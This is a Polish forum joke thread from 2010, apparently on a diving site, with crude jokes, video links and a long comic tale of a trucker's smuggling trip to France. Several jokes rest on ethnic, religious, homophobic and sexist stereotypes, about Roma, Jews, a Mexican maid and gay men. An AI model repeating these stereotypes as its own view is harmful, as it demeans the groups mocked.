- Oczywiście Panie Prezydencie - przerwała mu panienka - W jakich nominałach mam wypłacić Panu pieniądze?

martin - 12-02-2010, 23:13

Przychodzi Jasiek do lekarza i mówi
- Panie doktorze bimbały mnie bolą
- Proszę pokazać
Facet zdjemuje spodnie lekarz popatrzył popukał pomacał
- nie tak to ja nic nie mogę powiedzieć proszę oddać mocz i krew do analizy i przyjść z wynikami
Po kilku dniach Jasiek siedzi z kumplem w knajpie
- Ty gościu coś taki przybity
- A bo mnie bimbały bolą
- to do lekarza idź
- byłem kazał zrobić badania krwi i takie tam jutro ide z wynikami
- słuchaj ja się kiedyś interesowałem medycyną pokaż te wyniki to zobaczę co ci tam wyszło
- trzymaj
- o stary masz przej...ne patrz tutaj przy krwi masz napisane AB
- co to znaczy?
- Amputować Bimbały
- o Ku..a
- ale to nie koniec dalej jest Rh+
- ???
- Razem z h...

[ Dodano: 12-02-2010, 23:47 ]
Przyjechał delegat z partii na odległą syberię prowadzić wykład o miłości.
- Są 4 rodzaje miłości
(zebrani notują)
- Pierwszy rodzaj miłości występuje tylko na zgniłym i zepsutym zachodzie
(notują)
- My tego rodzaju miłości nie popieramy
(notują)
- Jest to miłość mężczyzny do mężczyzny.
(zanotowali).
- Drugi rodzaj miłości również występuje tylko na zgniłym i zepsutym zachodzie
(notują)
- I tego rodzaju miłości również nie popieramy
(notują)
- Jest to miłość kobiety do kobiety.
(zanotowali).
- Trzeci rodzaj miłości, który występuje na całym świecie, również u nas
(notują)
- To miłość mężczyzny do kobiety i kobiety do mężczyzny
(zanotowali)
- Czwarty rodzaj miłości jest najważniejszy
(notują)
- Występuje tylko u nas, tylko w związku radzieckim!
(notują)
- Ten rodzaj miłości popieramy i wspomagamy!
(notują)
- Jest to miłość ludu do partii i partii do ludu!
(zanotowali)
- Jakieś pytania?
Jeden się zgłasza
- Proszę?
- W tym ostatnim rodzaju miłości...
- tak?
- kto kogo jebiat?

Dany - 15-02-2010, 18:36

Meksykańska pomoc domowa chciała otrzymać podwyżkę i żona była bardzo
niezadowolona z tego powodu i zdecydowała się z nią o tym porozmawiać.

Zapytała:Mario, dlaczego chcesz otrzymać podwyżkę?

Maria: Więc Seniora, są trzy powody dlaczego chcę otrzymać podwyżkę.

Po pierwsze, prasuję dużo lepiej niż Pani.

Żona: Kto powiedział że prasujesz lepiej ode mnie?

Maria: Pani mąż.

Żona: oh

Maria: Po drugie, jestem od Pani o wiele lepszą kucharką.

Żona: Nonsens! kto powiedział że gotujesz lepiej ode mnie?

Maria: Pani mąż.

Żona: oh

Maria: Po trzecie, jestem lepszą kochanką od Pani...

Żona (nieźle wkurzona): i to powiedział mój mąż?

Maria: Nie, Seniora, ogrodnik.

Żona: To ile chcesz tej podwyżki?

Bero - 15-02-2010, 19:38

moj dotychczasowy idolw programie :D http://www.youtube.com/watch?v=efIA3w-PwBw
tom_wie - 15-02-2010, 21:06

Bero napisał/a:
moj dotychczasowy idolw programie :D http://www.youtube.com/watch?v=efIA3w-PwBw


Ta kamera z przodu po prawej jest na taśmę klejącą przymocowana?

Bero - 15-02-2010, 21:12

tom_wie napisał/a:
Bero napisał/a:
moj dotychczasowy idolw programie :D http://www.youtube.com/watch?v=efIA3w-PwBw


Ta kamera z przodu po prawej jest na taśmę klejącą przymocowana?


poki co tak

tom_wie - 15-02-2010, 21:47

Potrzebne są tylko dwie rzeczy żeby naprawić każdą usterkę - taśma klejąca i WD40 - Jeśli coś się nie rusza, a powinno, użyj WD-40. Jeśli coś się rusza, a nie powinno, użyj taśmy klejącej :ping:
Bero - 15-02-2010, 21:57

zapominasz jeszcze o jednej rzeczy niezbednej: o tzw tyrtytki :) troche bawie sie w rajdy i nie wsiadam do rajdowki jak nie ma w niej powertape i tyrtytek
a czasami jeszcze mlotek bywa przydatny ;) chociaz nie przy kamerze :)

wiesiek01 - 16-02-2010, 09:06

tom_wie napisał/a:
Jeśli coś się nie rusza, a powinno, użyj WD-40

Na zardzewiałe śruby dobra jest Coca-Cola (nie Pepsi !).

Bero - 16-02-2010, 13:02

http://www.youtube.com/wa...=1&feature=fvwp
Andrzej Minorczyk - 17-02-2010, 00:21

iXXL, to stare troszkę...
breath - 17-02-2010, 10:04

Kierownik zoo przychodzi do weterynarza.
- Panie doktorze, mamy problem. Jest u nas hipopotamica, która ani rusz
nie chce zgodzić się na współżycie z partnerem.
- W ogóle nie chce ?
- W ogóle.
- A czy ona przypadkiem nie jest z Ełku?
- Nie, a dlaczego?
- Bo moja zona jest z Ełku......


Stoi sobie dziewczę u Bram Niebios i słyszy potworne wrzaski, aż jej
ciarki przeszły po ciele. Pyta Św. Piotra:
- Co się tam dzieje?
- To nowi aniołowie wydaja takie dźwięki, bo wiercimy im na plecach
duże otwory na skrzydła, no i w głowie mniejsze otwory na aureolki.
- To mnie okropnie przeraża, chyba jednak wybiorę piekło.
- W piekle będziesz seksualnie molestowana, zmuszana do seksu analnego, oralnego!!!
- W porządku, do tego już mam gotowe otwory...


Na ławeczce w parku siedzi trzech starszych panów. Gdy nagle rozmowa
zeszła na temat ich możliwości seksualnych, zaległa długa cisza. Po chwili,
wzdychając, odzywa się pierwszy:
- Ja to zaledwie raz na trzy miesiące teraz mogę.
Drugi, patrząc na pierwszego zazdrośnie, mówi:
- Ja to tylko raz na pól roku, jak dobrze idzie, to mogę.
Na to trzeci:
- A ja to kiedy zechce...
- A bierzesz coś? - pyta ze zdziwieniem drugi.
- Nie, nie biorę.
- Coś podobnego! A jak często ci się chce?
- No, na przykład w zeszłym roku to mi się w ogóle nie chciało.....

tom_wie - 17-02-2010, 10:32

Siedzi wrona na drzewie w alpinistycznej uprzęży. Wszędzie poprzywieszane liny, haki, karabińczyki, w plecaku pełno specjalistycznego oprzyrządowania - a w dziobie kawałek sera.
Podchodzi lis:
- Wrona, jaką masz zajeb***ą uprząż!!!
- Yhmmm...
- A jakie profesjonalne karabińczyki!!!
- Yhmmm...
- Ale słyszałem, że z Ciebie - wrona - to jest pi**a a nie alpinista. I całe to oprzyrządowanie to pic i fotomontaż!!!
- Spie*dalaj!!!!
I wypuściła ser z dzioba.
I zawisł na lince asekuracyjnej

styx - 18-02-2010, 22:34

by bash:

"Słyszałem, że na forum jest Wielki Post. Ktoś go widział? Chciałbym go przeczytać, ale nie mogę go znaleźć :( "

zibomax1970 - 19-02-2010, 13:34
Temat postu: sprzedam kombinezon bo wyrosłem
jak w remacie pianka 2x7 z kapturem

http://www.youtube.com/watch?v=aJKIWUkSSes

Ryszard Szwajcer - 21-02-2010, 16:08

Nie wiem czy było ale mnie rozwaliło :aaa:
http://www.youtube.com/watch?v=M3VMHxWRjRc

I Tylko dla dorosłych!!!
http://www.youtube.com/wa...feature=related

divedevil - 21-02-2010, 20:16

:pa:
jacekplacek - 28-02-2010, 08:30


VooDoo_73 - 03-03-2010, 15:57

Aż nie wierzę, że tego jeszcze nie było... Proszę czytać na własną odpowiedzialność :)

Wenn ist das Nunstruck git und Slotermeyer? Ja! Beiherhund das Oder die Flipperwaldt gersput!

http://www.youtube.com/wa...player_embedded

thorne - 03-03-2010, 21:57

Powinieneś napisać aby ci co znają niemiecki nie czytali ani nie ogladaja tego skeczu. Chyba nie chcesz miec ich na sumieniu ;p
martin - 03-03-2010, 22:30

VooDoo_73 napisał/a:
Wenn ist das Nunstruck git und Slotermeyer? Ja! Beiherhund das Oder die Flipperwaldt gersput!


Nicht verstehen.

styx - 03-03-2010, 22:34

google translate też nie kuma ;)
Dany - 04-03-2010, 06:57

Ze świata sportu:
"...arcymistrz szachowy Garij Kasparow przegrał z cygańskim szachistą z
Rumunii. Już w piątym posunięciu Cygan zapier*olił mu oba konie..."

Cerberiusz - 05-03-2010, 21:02

Przychodzi Mosiek do Jozuego w i pyta :
-Jozue , czemu ty taki bogaty żyd nie naprawisz sobie dachu - popatrz jest deszcz i tobie dom zalewa
Na co Jozue:
-Mośku - w deszcz na dach nie wlezę bo mokro i moge spaść , a jak nie pada - to po co , już nie cieknie.

jacekplacek - 25-03-2010, 07:53

Lato idzie!! :D


train - 26-03-2010, 16:48

Sposób na upierdliwych teleankieterów:
http://www.youtube.com/wa...player_embedded

MARKUS5 - 26-03-2010, 21:30

Dalej coś o komarach he he

Komar owad pospolity
rodzaj żeński, jadowity.
Małe takie, niepozorne
na trucizny to odporne.
Kiedy tylko zmrok zapada
przez okienko skurwiel wpada
i gdy światła gasną w sali
słychać a fee już w oddali.
Bzyka (cenzura) całą noc
nie pomoże nawet koc
a gdy rano wstajesz
to kurwicy wnet dostajesz
swędzi noga, swędzi ręka
a ten kutas nie wymięka
taki mały, a ma moc
i tak a fee jest, co noc


Zadziałała cezura na forum ?????????????

Dany - 09-04-2010, 18:48

Polska armia leci do Afganistanu. Na pokład samolotu odlatującego z Warszawy wchodzą żołnierze z kapitanem. Samolot startuje, kapitan zauważa smutek i łzy w oczach żołnierzy. Gdy samolot był w powietrzu dłuższą chwilę kapitan myśli sobie:

- Kur * wa rozklejają mi się, z takich żołnierzy nie będzie pożytku.

Kapitan wiec postanawia ich umotywować i krzyczy:

- Żołnierze!! w Afganistanie albo my ich albo oni nas !! Daje kur * wa 100 dolarów za każdą głowę Afgana!

Wtem w oczach żołnierzy pokazuje się radość, ekstaza i chęć walki!!

Zaczynają wznosić wojenne okrzyki i razem się nakręcać. Samolot powoli zniża się do lądowania a żołnierze dra się jak zwierzęta w oczach amok!! Kapitan coś tam do nich jeszcze krzyczy, ale oni już nie słuchają, chcą krwi. Tylna cześć samolotu się otwiera
żołnierze wylatują jak rakiety i poszli w pola! ..... Kapitan myśli

- Co to kur * wa było ??!!

Po godzinie wracają, worki pełne głów, na bagnetach głowy. Kapitan aż przysiadł.... Po chwili krzyczy:

- Co wyście kur * wa narobili !!

A żołnierze:

- Ale panie kapitanie, sam pan mówił 100 za głowę.

Kapitan spuścił głowę i wyszeptał:

- To było kur * wa międzylądowanie w Krakowie

styx - 09-04-2010, 23:04

Dany napisał/a:
- To było kur * wa międzylądowanie w Krakowie


haha...piękne.

Ruski - 24-04-2010, 09:58

Była 4. 30 gdy Gonzo odpalił swego wiernego konia, przetarł lampy, poprawił w kabinie świecącego michelina pieszczotliwie go strzelając w czoło, wrzucił bieg... i poszły konie po betonie.
Nie ma już odwrotu..
Jean Pierre francuski policjant patrolujący autostrady był jakiś podenerwowany już od 4. 30 rano. Nie spał. wiercił się. Czuł niepokój...
Gonzo zapinał biegi rozpędzając jelonka do granic możliwości - silnik jęczał sympatycznie, skrzynia wołała o pomstę do nieba, michelin się kulił na desce i jakby mógł to by się zes. rał ze strachu... no ale nie mógł to się tylko kulił.
Do granicy PL-D dotarli po 2 dniach walki.
Niemcy jak zobaczyli jelonka myśleli że cofnęli się w czasie - podobno jak mówił kumpel który jechał tam 3 dni później dwóch z nich stało jeszcze z całkiem wyschniętymi gębofonami... nie potrafili ich już zamknąć. Nie będą już nigdy tak miłymi gestapowcami jakimi byli.
Jelonek łapał oddech na ałtobanie. Michelinowi odechciało się sra. ć a Gonzo bał się że bez dziur i trzęsawki zaśnie za szybko a jelonek mu zgłupieje.
Darli prawym pasem do przodu pożerając km. Klepsydra nazywana Tacho pomału się kończyła.. a wiec czas na postój..
Zaparkowali na grzędzie wśród elity transportu... same scanie, many, volva...
Gonzo rozstawił kuchnie gazową co ja wziął z domu (czteropalnikowa z piekarnikiem) podłączył butle i pichci.
Ludzie się zbierają... patrzą... i doszli do wniosku że to jakiś film wojenny kręcą albo jakaś kamera ukryta. Pobiegli więc się przebrać w najlepsze ciuchu i zarzucić pomadę na kudełki.
Gonzo zjadł bigos co go sobie przygotował na parkingu - lekko przedłużył pauzę, ale niewiele - i dalej w trasę.
Jean Pierre już o 10 rano miał sracz. kę... a nic nie jadł jeszcze. Czuł jakby... kapustę?
Nieee... na pewno mu się wydawało.. przecież nie jada kapusty.
Czuł jakiś niepokój...
Jelonek leciał z góry juz 2 km , budziki pozamykane na 90 km/h ... szybka decyzja czy zmienić pas na lewy... wyprzedzać? Wyprzedzał... wyprzedzał... wyprzedzał... aż do końca góry.
Potem szybki remoncik.
Nieduży.
Nie takie remonciki się robiło na drodze.
Jean Pierre miał zamiast zwieraczy jakiś syfon... to NERWY... ale skąd???
Gonzo już pędził w stronę francuskiej granicy.
Znów pauza. Tym razem bigosik na zimno. Znów gapie. Znów fani myślący że kręcą film i to coś co tutaj stoi to właśnie wyjechało na moment z muzeum i ż eto musi być jakaś podpucha albo żart.
Po bigosie był mały remoncik i dętka.
Cały parking ludzi i wszyscy przyszli zobaczyć jak się to robi. Było 4 wulkanizatorów... ale oni bez maszyny, na parkingu to co najwyżej umieją przebić dętkę. Ale żeby naprawić? McGiver?
Były zdjęcia z jelonkiem.
Jak odjeżdżał wszystkie kobiety płakały.
Dwie wpadły w histerię - jedna otworzyła sobie żyły, a druga poprzysięgła ze albo Gonzo w jelonku albo żaden inny. Klasztor.
Jelonek mknął w stronę granicy D - F.
Jean Pierre miał skurcze brzucha i juz 6 raz stawał na poboczu i wylatywał w krzaczory ze ściśniętymi pośladkami.. co jest??? myślał. Od 3 dni nic nie jem a s. ram na wiadra. Lekarz powiedział ze to nerwy, ale przed czym??
Gonzo dał prztyczka michelinowi. Co się bujasz michelin? zagaił przyjacielsko.
Jean Pierra gryzła ściółka w du. pe.
Jelonek ryczał wydechem.
Jean Pierre nie miał już Reginy. Igliwiem się nie da...
Gonzo zgłośnił Kaję Paschalską.
Jechał...
Tymczasem właściciel firmy przewozowej - Kermit, która wysłała Gonza jelonkiem do F był bardzo zdenerwowany. Nie miał żadnych informacji od Gonza. MUSIAŁ wiedzieć co się dzieje bo jeszcze przegra zakład...
"Ty, a może się założymy że twoja najnowsza Scania nie dotrze na KAzachstan?" podpuszczał kumpel Kermita.
" A może puszcze jelonka do czech, co? przebijał Kermit
"Do czech? hehehe"
"dobra do Niemiec" postawił się Kermit
"Ale do Francji nie dasz rady, spękasz Kermit!"
"Co?? JA spękam?! JA nigdy nie pękam!! Jelcz poleci do Francji! I jeszcze wypakuję go fajkami! I jeszcze pojedzie Gonzo!"
"Jezuuu... Kermit, nie przesadzaj... już wiem ze masz jaja... fajki to pół biedy... ale Gonzo??? Przecież on nie ma prawa jazdy!" wystraszył się kumpel
"Właśnie dlatego!" Kermit jak coś powiedział to powiedział. Z tego był znany..
Gonzo beknął... oho... ktoś mnie wspomina - pomyślał. Jakie to miłe.
Za pół godziny granica...
Jean Pierre nie miał już czym sra. ć. Nerwy go zżerały. Nie poznawał siebie...
Jelonek ciągnął ostro pod górę. Na jedynce. Gonzo się odprężył - i tak do końca góry nic nie zrobi.. w lustra nie ma co patrzeć bo tam dym jak po Hiroshimie. Euro 7 ostro przerabiało szkodliwe substancje na z pewnością przyjazne dla środowiska. Tylko czarno jak po pożarze fabryki gumy...
Granica.
Jean Pierre zemdlał.
Gonzo zajarał blanta. Musze się odprężyć... dobre zioło zabucham i wjeżdżam.
Kermit pił z nerwów.
Kumpel Kermita dał na mszę.
Michelin się gibał na desce.
Wjeżdżają.
Francuski posterunek wygasił światła. Jak za okupacji...
Strażnik wyszedł.. zobaczył jelonka... wrócił się.. wyszli we trzech. Podeszli do Jelcza trzymając się za ręce - odważni jak to Francuzi - popatrzyli w górę.
Michelin!!
Francuskie uśmiechy rozjaśniły francuskie twarze.
Gonzo wyjął dokumenty i podał im. Trochę się denerwował czy prawo jazdy które sobie wydrukował w domu na drukarce atramentowej przejdzie kontrole... no i certyfikat EURO 7. Sam wymyślił druk. Był dumny.
Francuzi udają że czytają - kłuje ich tłusty napis EURO 7.
Jean Pierre wymiotuje.
Kermit zakąsza śledzikiem.
Kolega Kermita biczuje plecy łańcuchem z poczucia winy.
Gonzo zapala następnego blanta.
Zaciąga się.
Francuz patrzy... i kiwa żeby mu dać macha.
Zaciąga się.
Podaje dalej. Francuzi buchają i uśmiechają się.
Gonzo się uśmiecha.
Michelin się giba na desce.
Jest zaje. biście. O to chodzi.. o to chodzi... luzik.
Francuzi śmieją się i kiwają - wjeżdżaj...
Gonzo wbija bieg... jelonek rusza.
Dym wydobywający się z rury pod obciążeniem silnika zabija dwóch francuzów. Trzeci na zawsze pozostanie głuchoniemy..
Wjechał
Jelonek zdobył Francję! Kur. wa!
Gonzo się śmieje.
Jean Pierre wydaje ostatniego bąka i umiera.
Jelcz dotarł do Francji. Udało się.
Gonzo zajechał na najbliższy parking.
Bigosu już nie ma.
Znów gapie i fani. Francuzki robią tak językiem do Gonza... jakoś tak dziwnie... jakby coś lizały. Gozno myśli że to jakaś tutejsza forma powitania to też wywala jęzor i trzepocze.
Francuzki mdleją.
Gonzo wziął z kabiny nóż i małego wypchanego chomika i ruszył z parkingu w stronę lasu.
Znalazł błoto i wypaćkał sobie twarz i ręce.
Zaczyna się polowanie...
Dwie godziny się kręcił po lesie szukając zwierzyny. Znalazł francuską kunę leśną drzewną. Zastygł...
Kuna żre żołędzie i nie wie co ją spotka... jeszcze..
Gonzo się przyczaił jak wąż w pomidorach..
Kuna żuje.
Michelin się przestał gibać.
Gonzo powoli wyciąga wypchanego chomika ze swojej myśliwskiej torby... powoli...
Kunie się odbija... Kur. wa - myśli kuna.
Gonzo powoli się podnosi.
Kuna kątem oka go dostrzega... włos się jej jeży na klacie (francuskim kunom leśnym drzewnym zawsze się jeży włos na klacie w przeciwieństwie do kun właściwych - im na grzbiecie)
Kuna zastyga
Gonzo nagle jednym szybkim ruchem jak miecz samuraja podnosi chomika i krzyczy "puuu!!!" - zawsze jak się poluje z chomikiem na francuską kunę leśną drzewną należy krzyknąć "puuu!!!"
Kuna mdleje.
Gozno spokojnie podchodzi i pukając ją kijem w główkę gasi ją do końca.
Dla pewności żeni jej kozika pod żebro i podrzyna gardło.
Nie będąc jeszcze pewnym czy francuska kuna leśna drzewna na 100% już odeszła, zatyka jej palcami nozdrza na 5 min.
Potem zabiera kunę na barana i wraca.
Tłum szaleje.
Francuzki już 7 razy miały orgazm, a teraz mają następny.
Gonzo wyciąga kuchenkę czteropalnikową i opala kunę nad gazem. Przyżadza ją szybko w żołędziach co je znalazł w żołądku kuny... i zaprasza 3 Francuzki na obiad.
Wszystkie mdleją.
Gonzo pochłania kunę a Francuzki wstają i mówią że chcą zawsze być z Gonzem i jego wiernym jelonkiem i móc pyrkać michelina żeby się gibał i w ogóle...
Gonzo się zgadza.
Francuzki mdleją.
Tłum szaleje.
Gonzo rusza z trzema francuskimi nimfomankami które juz się ocknęły.
Kierunek Paryż...
Kermit dowiedział się z wiadomości co się dzieje i pije ale teraz już z radości.
Jelonek dogina na Paryż.
Jest booosssssssko!
Remoncik... kur. wa! Jelonek musiał w tej chwili...
Ale przyzwyczajany Gonzo nie załamuje rąk - wyciąga Małego Naprawiacza Jelczy w Trasie - MNJWT i zabiera się do działania.
Francuzki są narajane blantami, na Gonza, a nawet na michelina.
Gonzo uporał się z tą drobną usterką w 16 godzin i już są gotowi gnać dalej...
Gonzo postanowił przez Paryżem zdrzemnąć się troszkę. Zawinął na parking. Francuzki ciągle to samo wywijają językami...
Michelin już się świeci cały.
Gonzo też.
A im mało.
Gonzo mówi - "a teraz idę spać. a wy będziecie cicho i dość lizania, jasne?"
łi łi
Gonzo walnął się na wyrko... zamknął oczy... spokój...
... cisza...
śni mu się jakiś francuski policjant z rozwolnieniem...
głupi sen...
sra i sra... co jest? nigdy mu się nie śnił srający francuski policjant!
sra na mokro.. bryzga... Gonzo czuje ze też jest mokry...
... wilgotno wszędzie, ...
.. a ten sra...
Gonzo otwiera 1 oko - policjant już nie sra, ale dalej wilgotno...
*. a
3 francuski znowu go liżą... o ja pier. dole!
w sumie fajnie...
ale ile można...
w sumie można...
Gonzo zamyka oko i udaje ze spi.. nie będzie przeszkadzał...
jest bossssko...
Rano przyrządza resztę kuny i... Paryż!
Gonzo odpala maszynę, francuski coś szwargoczą i się jak zwykle liżą, michelin zaczyna się gibać, Wiraż nadaje Kaję Paschalską, proporce się kołyszą...
... i du. pa...
.. dętka..
Francuzki przechodzą do konkretów a Gonzo bierze Małego Wulkanizatora i też bierze się za konkrety.
Ruszają.
Paryż
Gonzo po 8 godzinach kluczenia , 2 dętkach i 17 hamburgerach podjechał pod bramę gdzie miał oddać towar.
Podjeżdża do budki wartownika... podobny do tego ze snu co s**ł...
"Otwieraj kmiocie bo mam towar a nie mam czasu!" - huknął Gonzo, a francuski zrobiły po 3 młynki językami.
Strażnik popatrzył i pojawił sie strach w jego oczach - pobiegł podnieść szlaban.
Jelonek wjeżdża a strażnik z telefon i do prezesa - "szefie jakiś ostry herbatnik przyjechał, fura dla prawdziwego twardziela , 3 nimfomanki i michelin!"
"to on.. " szepnął szef i zbladł...
Gonzo postawił jelonka, klepnął michelina a potem każda Francuzkę i poszedł zanieść papiery.
Przyszli kolesie rozładować towar.
Uklęknęli jak zobaczyli jelonka...
Otworzyli naczepę.
Gonzo uklęknął.
CAŁA NACZEPA FAJEK!
PO DACH!
A on skręca blanty...
Zaczęli rozładowywać a Gonzo poszedł do kibla... rozwolnienie po tym co zobaczył na naczepie przyszło jak tajfun.
Megatajfun.
Michelin jakby mógł też by się zes**ł ale nie może..
Francuzki znów jarają i się liżą..
Skończył się zapas Reginy.
Czas wracać do kraju..
Gonzo załatwił papierki, naprawił dętkę klepnął michelina i w drogę z powrotem.
W tym magazynie do dziś są zdjęcia jelonka z michelinem i Gonzem... i z Francuzkami.
Do dziś nie wierzą..
Wartownik do dziś powtarza to jak go opier. dolił Gonzo. Jest gwiazdą każdego przyjęcia.
Nikt mu nie wierzy.
Tymczasem Gonzo popędzał konie na wschód.
Kermit liczył kasę co ją wygrał w zakładzie z kumplem.
Kumpel się powiesił na łańcuchu do biczowania.
Francuzki... no co mogą robić?
Michelin się giba.
Wracają.
Na pusto jelonek pod górę idzie na dwójce.
NA DWÓJCE!
Szaleńsssstwo.
Dymu jest 5 razy więcej ale jak idzie! Na dwójce!
Francuzki tak się podnieciły tą informacją że jedna się od lizania odwodniła.
Michelinowi aż się zakręciło od gibania.
NA DWÓJCE!
Jak Gonzo powie to na bazie... nikt mu nie uwierzy.
Gonzo zawija na parking szybko. Raz, że trzeba coś zjeść a dwa ratować Francuzkę która się od lizania odwodniła. Szybko ją wywleka na asfalt, poi wodą i robi usta usta. Pozostałe Francuzki znów się podjarały.
Michgein się giba z radości.
Gonzo robi usta usta, a potem opiera ręce na klatkę Francuzki i chce zacząć masaż serca... coś nie gra...
ku. rwa
ona ma włosy na klacie!
Gonzo sprawdza niżej - pyton.
o ja pierd. ole
to facet!
Michelin zastyga bez ruchu
Dwie Francuzki przestają się lizać.
Gonzo wstaje, podchodzi do nich i sprawdza czy to faceci czy kobiety.
Kobiety.
Fajnie...
Znów się podjarały..
Michelin w szoku dalej nieruchomy.
Gozno wyciąga zupki chińskie, dodaje tyrolską i już są kotlety schabowe. Francuzki się zajadają, a Gonzo kombinuje co zrobić z ciałem.
Na parking wjeżdża czarne BMW, wysiada 4 kolesi i zapala fajki. Gonzo skręca blanta i podchodzi do nich.
Francuzki miękną w kolanach..
Michelin sie poci..
Gozno idzie..
Kolesie patrzą i zaciągają dym w płuca.
haj - mówi Gonzo
hałarju - kolesie
aj mam łan body ludzkie na sold - gonzo
ooo - miłe zdziwienie kolesi
jes jes - gonzo podaje blanta
wifil kostet to body - kolesie z zainteresowaniem
trochu staff oraz ten tałsend w keszu drahmy - rzuca Gonzo i wali uśmiech
w parjatku - kolesie są zachwyceni
Gonzo inkasuje należność, kolesie biorą faceta Francuzkę, który zdarzył się ocknąć i obiecują mu zabawę. Francuz nieświadomy, nie znając rosyjskiego uśmiecha się...
Będzie bossssko
Gonzo pakuje harem i odpala jelonka.
Ku. rwa
Dętka..
Już się łatki kończą.
Mały Wulkanizator znów w akcji...
Spocony Gonzo wskakuje do wyklimatyzowanej kabiny z wylizanymi Francuzkami i wygibanym michelinem i odpala jelonka. Czas się już wypełnił - dość pier. dół, czeka droga.
Poszczególne biegi wchodzą niemal gładko... niemal wchodzą...
... no dobra...
.. trzeba przyj. ebać ze 100 niutonów żeby weszły... ale jest git
proporce się huśtają..
Kaja wykrzykuje z Wiraża że "Chinka cziki cziku linka" to jej największa przyjaciółka
Francuzki jarają zioło i coś gadają...
Gonzo się uśmiecha...
Jelonek drze na wschód
Gonzo postanawia nie zwalniać na granicy F-D jak nikt nie będzie się patrzył..
Michelin nadal przeżywa że tamta Francuzka to był jednak francuz...
Gonzo też przeżywa i się zastanawia czy ja/jego przeleciał czy nie... jednej nie przeleciał... chyba jej/jego... a może... raz był seks analny... nie pamiętam, nie pamiętam -myśli Gonzo- za dużo jaram... a z resztą... michelin nie umie mówić a Francuzki komu mają opowiedzieć? -pociesza się Gonzo...
Jelonek pochłania km
Granica...
Nikogo nie ma...
Walimy na chama
Nikogo nie ma..
Nikogo...
Przelatują granicę...
Niemcy
Gonzo oddycha z ulgą
Michelin się chyba gibnął... może wróci do siebie
Nagle wyskakuje z krzaczorów jakiś koleś w czapce i macha lizakiem
Ku. rwa!!
Gonzo staje na pe**ale hamulca!
Jelonek jedzie...
Zanim tarcie okładzin zrobiło swoje minął z 5 słupków po 100 m każdy..
Jelonek ma dobre hamulce... jak na Jelcza i lata '70 te..
Z tyłu dyskoteka... niebiesko
Gonzo wysiada i patrzy..
BAG
Bundes Autobahn Gestapo
O boże...
Z pewnością ich dziadkowie służyli na wieżyczkach wartowniczych..
Gonzo postanawia pokazać kto wygrał pod Grunwaldem..
Guten Tag - gestapowiec
Dzień dobry - twardy Gonzo
Dzień dobry - gestapowiec
Jezuu, on mówi po polsku - Gonzowi szczęka odbija się od śródstopia..
Jestem polakiem - uśmiecha się polski gestapowiec - proszę o dokumenty.
Gonzo wyciąga papiery, certyfikat EURO 7 itd i podaje. Dwóch pozostałych Niemców coś sobie pokazuje na jelonku.
Strasznie długo pan hamował.
Wystraszył mnie pan i chciałem uciec.. mój dziadek był powstańcem, mam taki tik że jak widzę niemiecki mundur to wieje - Gonzo wali głupa.
Rozumiem. Wie pan że EURO 7 nie ma? - pyta z zaskoczenia inspektor
W Polsce już jest - mamy tyle mocznika i nawozu że już mamy, dawno pana w kraju nie było. Teraz Jelcz produkuje najbardziej zaawansowane technologicznie ciężarówki - tylko specjalnie i dla kamuflażu tak wyglądają.
??? Dlaczego specjalnie???
Wie pan... UE daje kasę, a przecież nie da jak Niemcy będą zamykać własne fabryki i kupować polskie ciężarówki... a tak... rozumie pan - Gonzo galopuje w rozmowie
Polski Niemiec patrzy i nie wie czy kazać go aresztować czy się śmiać... a może to prawda...
Napina twarz myśleniem...
.. postanawia...
wezmę go na najbliższy serwis jelcza i sprawdzę - myśli błyskotliwy polski Niemiec.
Gonzo odpala blanta... zaciąga się - Chcesz? - mówi do inspektora
Ja?? No coś ty... coś pan... ja nie mogę - denerwuje się
Albo daj...
Po chwili blant krąży wśród inspektorów... po jeszcze jednej chwili są śmichy chichy i wymiana nr telefonów... po 4 machu pada propozycja czy nie odeskortować jelonka do granicy..
Miałem cię skierować na najbliższy serwis - mówi polski inspektor klepiąc Gonza po plecach
Gdzie? W Niemczech? - Gonzo uśmiecha się pobłażliwie..
O ku. rwa - myśli inspektor - faktycznie...
Niemcy kończą palić i bawią się czapką jednego z nich i śmieją jak niemieckie dzieci..
Gonzo odpala maszynę
Michelin zaczął się gibać... wrócił do siebie
Francuzki zakochały się jeszcze mocniej..
Znów jadą...
Du. pa blada
Dętka
Mały Wulkanizator... rachu ciachu. . dwie godziny i gotowe
Niemcy palą i uśmiechają się przyjacielsko..
Ruszają
Niemcy machają na pożegnanie i ślą całusy
Gonzo patrzy na gadżety które podarowali mu ci mili panowie z BAG – 4 bezrękawniki , 2 czapki z daszkiem , 3 lizaki, neonówka, kartonik naklejek, laptop do obsługi programów BAG i czytnik tarczek i jedna bluza mundurowa inspektora BAG… bardzo sympatyczni kolesie
Muza dudni, zimny łokieć…na pusto to bajka…
Jednak te gładkie drogi nie służą jelonkowi – nie został stworzony do takich prostych nawierzchni
Ku. rwa!
Remoncik…
O ja pier. dole..
Po 6 godzinach co zleciały jak z bicza strzelił znów jadą…
Przygoda się kończy…
Na granicy znów tłum i szczęśliwy Kermit, płacząc i łkając radośnie rzuca się w ramiona Gonza
Ni.. ni…nigdyyy…wię.. ceeejjjj!! – szlocha – Gon…zo… nigdy wię…ceeeejjjj!
Gnozo wie że dokonał niemożliwego.
Ekipa z Orlen Team klaszcze i płacze.
Hołowczyc już wie że za rok nie wystartuje w Paryż Dakar.
Ekipa Orlenu za to wie kto wystartuje… Gnozo też już wie…. widzi to w ich oczach…
Michelin giba się jak szalony
Francuzki zemdlały
TVN24 kręci na żywo
Wiadomo kogo zaproszą do następnej edycji Tańca z Gwiazdami…
Euro 2012 ma już swoja maskotkę… - Jelonek…
Kermit trochę żałuje… ale kto mógł przypuszczać..
…. W niemieckiej TV pokazują film nagrany przez jakiegoś kierowcę, jak naćpani funkcjonariusze BAG puszczają Jelcza i jeszcze dają mu prezenty i machają…
wybucha afera…
Kanclerz A. Merkel podaje się do dymisji.. są zwolnienia w BAG i poważne zmiany proceduralne…
Gonzo odpala fajkę i uśmiecha się…
…Dokonał niemożliwego…

Bigas - 24-04-2010, 10:37

:aaa: Dobre, niejeden raz prawie się zaplułem :690:
Dany - 11-05-2010, 22:02

Co robi facet, żeby wziąć kąpiel z bąbelkami?
- Zjada na obiad groch z kapustą.

rafixpol2 - 12-05-2010, 10:53

Po co kobiety mają przegrodę nosową?????





Żeby nie kusiło!!!

breath - 13-05-2010, 07:58

a co ma wspolnego papuga z gejem ? :)
obydwoje maja obs..ny drażek :)

Dany - 14-05-2010, 07:04

